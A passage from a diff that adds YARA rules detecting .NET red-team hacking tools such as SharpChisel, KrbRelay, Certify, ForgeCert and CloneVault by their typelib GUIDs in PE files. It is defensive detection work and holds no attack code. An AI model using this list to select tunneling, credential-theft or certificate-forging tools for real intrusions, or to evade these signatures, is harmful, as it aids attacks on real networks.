+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/shantanu561993/SharpChisel"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2021-01-21"
+        modified = "2023-04-06"
+        id = "3b7e6703-ebe8-5a98-839f-7d0349ab483f"
+    strings:
+        $typelibguid0lo = "f5f21e2d-eb7e-4146-a7e1-371fd08d6762" ascii wide
+        $typelibguid0up = "F5F21E2D-EB7E-4146-A7E1-371FD08D6762" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpScribbles {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/V1V1/SharpScribbles"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2021-01-21"
+        modified = "2023-04-06"
+        id = "47125b76-9388-5372-8810-d198f623367a"
+    strings:
+        $typelibguid0lo = "aa61a166-31ef-429d-a971-ca654cd18c3b" ascii wide
+        $typelibguid0up = "AA61A166-31EF-429D-A971-CA654CD18C3B" ascii wide
+        $typelibguid1lo = "0dc1b824-c6e7-4881-8788-35aecb34d227" ascii wide
+        $typelibguid1up = "0DC1B824-C6E7-4881-8788-35AECB34D227" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpReg {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/jnqpblc/SharpReg"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2021-01-21"
+        modified = "2023-04-06"
+        id = "d89b07b0-bb29-5c77-888b-322e439b4c82"
+    strings:
+        $typelibguid0lo = "8ef25b00-ed6a-4464-bdec-17281a4aa52f" ascii wide
+        $typelibguid0up = "8EF25B00-ED6A-4464-BDEC-17281A4AA52F" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_MemeVM {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/TobitoFatitoRE/MemeVM"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2021-01-21"
+        modified = "2023-04-06"
+        id = "c98d84d5-4b0a-53df-b8d4-0b360930eb0c"
+    strings:
+        $typelibguid0lo = "ef18f7f2-1f03-481c-98f9-4a18a2f12c11" ascii wide
+        $typelibguid0up = "EF18F7F2-1F03-481C-98F9-4A18A2F12C11" ascii wide
+        $typelibguid1lo = "77b2c83b-ca34-4738-9384-c52f0121647c" ascii wide
+        $typelibguid1up = "77B2C83B-CA34-4738-9384-C52F0121647C" ascii wide
+        $typelibguid2lo = "14d5d12e-9a32-4516-904e-df3393626317" ascii wide
+        $typelibguid2up = "14D5D12E-9A32-4516-904E-DF3393626317" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpDir {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/jnqpblc/SharpDir"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2021-01-21"
+        modified = "2023-04-06"
+        id = "f64ed564-d198-59e8-9abe-b2814b95c85f"
+    strings:
+        $typelibguid0lo = "c7a07532-12a3-4f6a-a342-161bb060b789" ascii wide
+        $typelibguid0up = "C7A07532-12A3-4F6A-A342-161BB060B789" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_AtYourService {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/mitchmoser/AtYourService"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2021-01-21"
+        modified = "2023-04-06"
+        id = "3077dd0c-6936-5340-8da9-e8643de4d864"
+    strings:
+        $typelibguid0lo = "bc72386f-8b4c-44de-99b7-b06a8de3ce3f" ascii wide
+        $typelibguid0up = "BC72386F-8B4C-44DE-99B7-B06A8DE3CE3F" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_LockLess {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/GhostPack/LockLess"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2021-01-21"
+        modified = "2023-04-06"
+        id = "f9b31f57-d721-5b6c-be63-b8309cba788a"
+    strings:
+        $typelibguid0lo = "a91421cb-7909-4383-ba43-c2992bbbac22" ascii wide
+        $typelibguid0up = "A91421CB-7909-4383-BA43-C2992BBBAC22" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_EasyNet {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/TheWover/EasyNet"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2021-01-21"
+        modified = "2023-04-06"
+        id = "8408a057-4910-5d7b-80bc-78df17c95bf7"
+    strings:
+        $typelibguid0lo = "3097d856-25c2-42c9-8d59-2cdad8e8ea12" ascii wide
+        $typelibguid0up = "3097D856-25C2-42C9-8D59-2CDAD8E8EA12" ascii wide
+        $typelibguid1lo = "ba33f716-91e0-4cf7-b9bd-b4d558f9a173" ascii wide
+        $typelibguid1up = "BA33F716-91E0-4CF7-B9BD-B4D558F9A173" ascii wide
+        $typelibguid2lo = "37d6dd3f-5457-4d8b-a2e1-c7b156b176e5" ascii wide
+        $typelibguid2up = "37D6DD3F-5457-4D8B-A2E1-C7B156B176E5" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpByeBear {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/S3cur3Th1sSh1t/SharpByeBear"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2021-01-21"
+        modified = "2023-04-06"
+        id = "4a7f2514-2519-5fd5-9d17-110a67f829e7"
+    strings:
+        $typelibguid0lo = "a6b84e35-2112-4df2-a31b-50fde4458c5e" ascii wide
+        $typelibguid0up = "A6B84E35-2112-4DF2-A31B-50FDE4458C5E" ascii wide
+        $typelibguid1lo = "3e82f538-6336-4fff-aeec-e774676205da" ascii wide
+        $typelibguid1up = "3E82F538-6336-4FFF-AEEC-E774676205DA" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpHide {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/outflanknl/SharpHide"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2021-01-21"
+        modified = "2023-04-06"
+        id = "928e00c1-549a-58f5-9e7e-982a4319691a"
+    strings:
+        $typelibguid0lo = "443d8cbf-899c-4c22-b4f6-b7ac202d4e37" ascii wide
+        $typelibguid0up = "443D8CBF-899C-4C22-B4F6-B7AC202D4E37" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpSvc {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/jnqpblc/SharpSvc"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2021-01-21"
+        modified = "2023-04-06"
+        id = "cbc1d7d4-f3b4-5d02-84ae-621398cb7b51"
+    strings:
+        $typelibguid0lo = "52856b03-5acd-45e0-828e-13ccb16942d1" ascii wide
+        $typelibguid0up = "52856B03-5ACD-45E0-828E-13CCB16942D1" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpCrashEventLog {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/slyd0g/SharpCrashEventLog"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2021-01-21"
+        modified = "2023-04-06"
+        id = "85d31989-ad96-5005-a747-8a19a67fdd80"
+    strings:
+        $typelibguid0lo = "98cb495f-4d47-4722-b08f-cefab2282b18" ascii wide
+        $typelibguid0up = "98CB495F-4D47-4722-B08F-CEFAB2282B18" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_DotNetToJScript_LanguageModeBreakout {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/FuzzySecurity/DotNetToJScript-LanguageModeBreakout"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2021-01-21"
+        modified = "2023-04-06"
+        id = "8c8cf79f-8e69-5293-b27a-1f8593061627"
+    strings:
+        $typelibguid0lo = "deadb33f-fa94-41b5-813d-e72d8677a0cf" ascii wide
+        $typelibguid0up = "DEADB33F-FA94-41B5-813D-E72D8677A0CF" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharPermission {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/mitchmoser/SharPermission"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2021-01-21"
+        modified = "2023-04-06"
+        id = "d5027f51-f3ca-53cd-96d7-c355b5c2e6fa"
+    strings:
+        $typelibguid0lo = "84d2b661-3267-49c8-9f51-8f72f21aea47" ascii wide
+        $typelibguid0up = "84D2B661-3267-49C8-9F51-8F72F21AEA47" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_RegistryStrikesBack {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/mdsecactivebreach/RegistryStrikesBack"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2021-01-21"
+        modified = "2023-04-06"
+        id = "1577ed24-0e17-54f9-bc29-bb209acf9645"
+    strings:
+        $typelibguid0lo = "90ebd469-d780-4431-9bd8-014b00057665" ascii wide
+        $typelibguid0up = "90EBD469-D780-4431-9BD8-014B00057665" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_CloneVault {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/mdsecactivebreach/CloneVault"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2021-01-21"
+        modified = "2023-04-06"
+        id = "3340a095-d926-5c85-b7ed-03151712538d"
+    strings:
+        $typelibguid0lo = "0a344f52-6780-4d10-9a4a-cb9439f9d3de" ascii wide
+        $typelibguid0up = "0A344F52-6780-4D10-9A4A-CB9439F9D3DE" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_donut {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/TheWover/donut"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2021-01-21"
+        modified = "2023-04-06"
+        id = "564dfd0a-af9b-505f-a6f0-de2a5c5c63f3"
+    strings:
+        $typelibguid0lo = "98ca74c7-a074-434d-9772-75896e73ceaa" ascii wide
+        $typelibguid0up = "98CA74C7-A074-434D-9772-75896E73CEAA" ascii wide
+        $typelibguid1lo = "3c9a6b88-bed2-4ba8-964c-77ec29bf1846" ascii wide
+        $typelibguid1up = "3C9A6B88-BED2-4BA8-964C-77EC29BF1846" ascii wide
+        $typelibguid2lo = "4fcdf3a3-aeef-43ea-9297-0d3bde3bdad2" ascii wide
+        $typelibguid2up = "4FCDF3A3-AEEF-43EA-9297-0D3BDE3BDAD2" ascii wide
+        $typelibguid3lo = "361c69f5-7885-4931-949a-b91eeab170e3" ascii wide
+        $typelibguid3up = "361C69F5-7885-4931-949A-B91EEAB170E3" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpHandler {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/jfmaes/SharpHandler"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2021-01-21"
+        modified = "2023-04-06"
+        id = "b71198a9-4d00-5d75-bc36-7c40655c84a3"
+    strings:
+        $typelibguid0lo = "46e39aed-0cff-47c6-8a63-6826f147d7bd" ascii wide
+        $typelibguid0up = "46E39AED-0CFF-47C6-8A63-6826F147D7BD" ascii wide
+        $typelibguid1lo = "11dc83c6-8186-4887-b228-9dc4fd281a23" ascii wide
+        $typelibguid1up = "11DC83C6-8186-4887-B228-9DC4FD281A23" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Driver_Template {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/FuzzySecurity/Driver-Template"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2021-01-21"
+        modified = "2023-04-06"
+        id = "539f88c5-e779-55e0-98df-299a9068de9b"
+    strings:
+        $typelibguid0lo = "bdb79ad6-639f-4dc2-8b8a-cd9107da3d69" ascii wide
+        $typelibguid0up = "BDB79AD6-639F-4DC2-8B8A-CD9107DA3D69" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_NashaVM {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/Mrakovic-ORG/NashaVM"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2021-01-21"
+        modified = "2023-04-06"
+        id = "3abbf636-01f4-547a-98c0-d7bfec07e31a"
+    strings:
+        $typelibguid0lo = "f9e63498-6e92-4afd-8c13-4f63a3d964c3" ascii wide
+        $typelibguid0up = "F9E63498-6E92-4AFD-8C13-4F63A3D964C3" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpSQLPwn {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/lefayjey/SharpSQLPwn.git"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2022-11-21"
+        modified = "2023-04-06"
+        id = "b533d61a-8693-5c3c-8b31-2117262cad4e"
+    strings:
+        $typelibguid0lo = "c442ea6a-9aa1-4d9c-9c9d-7560a327089c" ascii wide
+        $typelibguid0up = "C442EA6A-9AA1-4D9C-9C9D-7560A327089C" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Group3r {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/Group3r/Group3r.git"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2022-11-21"
+        modified = "2023-04-06"
+        id = "0571d71e-50ca-5c1b-b750-34acc2d06687"
+    strings:
+        $typelibguid0lo = "868a6c76-c903-4a94-96fd-a2c6ba75691c" ascii wide
+        $typelibguid0up = "868A6C76-C903-4A94-96FD-A2C6BA75691C" ascii wide
+        $typelibguid1lo = "caa7ab97-f83b-432c-8f9c-c5f1530f59f7" ascii wide
+        $typelibguid1up = "CAA7AB97-F83B-432C-8F9C-C5F1530F59F7" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_TokenStomp {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/MartinIngesen/TokenStomp"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2022-11-21"
+        modified = "2023-04-06"
+        id = "e4266969-ab03-50dc-b5b1-f4bb1c9846f4"
+    strings:
+        $typelibguid0lo = "8aac271f-9b0b-4dc3-8aa6-812bb7a57e7b" ascii wide
+        $typelibguid0up = "8AAC271F-9B0B-4DC3-8AA6-812BB7A57E7B" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_KrbRelay {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/cube0x0/KrbRelay"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2022-11-21"
+        modified = "2023-04-06"
+        id = "3f59986c-8bd8-5e70-b3eb-038247d1ccd7"
+    strings:
+        $typelibguid0lo = "ed839154-90d8-49db-8cdd-972d1a6b2cfd" ascii wide
+        $typelibguid0up = "ED839154-90D8-49DB-8CDD-972D1A6B2CFD" ascii wide
+        $typelibguid1lo = "3b47eebc-0d33-4e0b-bab5-782d2d3680af" ascii wide
+        $typelibguid1up = "3B47EEBC-0D33-4E0B-BAB5-782D2D3680AF" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SQLRecon {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/skahwah/SQLRecon"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-01-20"
+        modified = "2023-04-06"
+        id = "f9ea5283-0a5c-5bde-966c-80869ee25888"
+    strings:
+        $typelibguid0lo = "612c7c82-d501-417a-b8db-73204fdfda06" ascii wide
+        $typelibguid0up = "612C7C82-D501-417A-B8DB-73204FDFDA06" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Certify {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/GhostPack/Certify"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-03-06"
+        modified = "2023-04-06"
+        hash = "da585a8d4985082873cb86204d546d3f53668e034c61e42d247b11e92b5e8fc3"
+        id = "69f120fe-bd4d-59ba-b1b9-528ab300e450"
+    strings:
+        $typelibguid0lo = "64524ca5-e4d0-41b3-acc3-3bdbefd40c97" ascii wide
+        $typelibguid0up = "64524CA5-E4D0-41B3-ACC3-3BDBEFD40C97" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Aladdin {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/nettitude/Aladdin"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-03-13"
+        modified = "2023-04-06"
+        id = "3f0a954c-f3b3-5e5d-a71d-11f60b026a48"
+    strings:
+        $typelibguid0lo = "b2b3adb0-1669-4b94-86cb-6dd682ddbea3" ascii wide
+        $typelibguid0up = "B2B3ADB0-1669-4B94-86CB-6DD682DDBEA3" ascii wide
+        $typelibguid1lo = "c47e4d64-cc7f-490e-8f09-055e009f33ba" ascii wide
+        $typelibguid1up = "C47E4D64-CC7F-490E-8F09-055E009F33BA" ascii wide
+        $typelibguid2lo = "32a91b0f-30cd-4c75-be79-ccbd6345de99" ascii wide
+        $typelibguid2up = "32A91B0F-30CD-4C75-BE79-CCBD6345DE99" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpLdapRelayScan {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/klezVirus/SharpLdapRelayScan"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-03-15"
+        modified = "2023-04-06"
+        id = "554a5487-ac53-512f-8f6f-ad8186144715"
+    strings:
+        $typelibguid0lo = "a93ee706-a71c-4cc1-bf37-f26c27825b68" ascii wide
+        $typelibguid0up = "A93EE706-A71C-4CC1-BF37-F26C27825B68" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_LdapSignCheck {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/cube0x0/LdapSignCheck"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-03-15"
+        modified = "2023-04-06"
+        id = "a8b902f0-61a5-509e-8307-79bf557e5f61"
+    strings:
+        $typelibguid0lo = "21f398a9-bc35-4bd2-b906-866f21409744" ascii wide
+        $typelibguid0up = "21F398A9-BC35-4BD2-B906-866F21409744" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpSCCM {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/Mayyhem/SharpSCCM"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-03-15"
+        modified = "2023-04-06"
+        id = "276269b1-e3b3-5774-a86a-1c3a8bca8209"
+    strings:
+        $typelibguid0lo = "03652836-898e-4a9f-b781-b7d86e750f60" ascii wide
+        $typelibguid0up = "03652836-898E-4A9F-B781-B7D86E750F60" ascii wide
+        $typelibguid1lo = "e4d9ef39-0fce-4573-978b-abf8df6aec23" ascii wide
+        $typelibguid1up = "E4D9EF39-0FCE-4573-978B-ABF8DF6AEC23" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Koh {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/GhostPack/Koh"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-03-18"
+        modified = "2023-04-06"
+        id = "9702526c-b10d-553d-a803-47e352533858"
+    strings:
+        $typelibguid0lo = "4d5350c8-7f8c-47cf-8cde-c752018af17e" ascii wide
+        $typelibguid0up = "4D5350C8-7F8C-47CF-8CDE-C752018AF17E" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_ForgeCert {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/GhostPack/ForgeCert"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-03-18"
+        modified = "2023-04-06"
+        id = "06b3ffbb-5a76-50a0-86dc-b9658bf2d7ec"
+    strings:
+        $typelibguid0lo = "bd346689-8ee6-40b3-858b-4ed94f08d40a" ascii wide
+        $typelibguid0up = "BD346689-8EE6-40B3-858B-4ED94F08D40A" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Crassus {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/vu-ls/Crassus"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-03-18"
+        modified = "2023-04-06"
+        id = "d4f94aa3-0431-5ac1-8718-0f0526c3714f"
+    strings:
+        $typelibguid0lo = "7e9729aa-4cf2-4d0a-8183-7fb7ce7a5b1a" ascii wide
+        $typelibguid0up = "7E9729AA-4CF2-4D0A-8183-7FB7CE7A5B1A" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_RestrictedAdmin {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/GhostPack/RestrictedAdmin"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-03-18"
+        modified = "2023-04-06"
+        id = "1b3572a5-bb21-58bb-91f9-963a0a17d699"
+    strings:
+        $typelibguid0lo = "79f11fc0-abff-4e1f-b07c-5d65653d8952" ascii wide
+        $typelibguid0up = "79F11FC0-ABFF-4E1F-B07C-5D65653D8952" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_p2p {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid (p2p Remote Desktop is dual use but 100% flagged as malicious on VT)"
+        reference = "https://github.com/miroslavpejic85/p2p"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-03-19"
+        modified = "2023-04-06"
+        id = "e7b2b4bd-f1e1-5062-9b36-5df44ae374ea"
+    strings:
+        $typelibguid0lo = "33456e72-f8e8-4384-88c4-700867df12e2" ascii wide
+        $typelibguid0up = "33456E72-F8E8-4384-88C4-700867DF12E2" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpWSUS {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/nettitude/SharpWSUS"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-03-22"
+        modified = "2023-04-06"
+        id = "f020eea9-4ff4-5242-b9b2-53284505dab4"
+    strings:
+        $typelibguid0lo = "42cabb74-1199-40f1-9354-6294bba8d3a4" ascii wide
+        $typelibguid0up = "42CABB74-1199-40F1-9354-6294BBA8D3A4" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpImpersonation {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/S3cur3Th1sSh1t/SharpImpersonation"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-03-22"
+        modified = "2023-04-06"
+        id = "5815c5bd-e3e8-5f2f-b03e-8a05fb4f6e91"
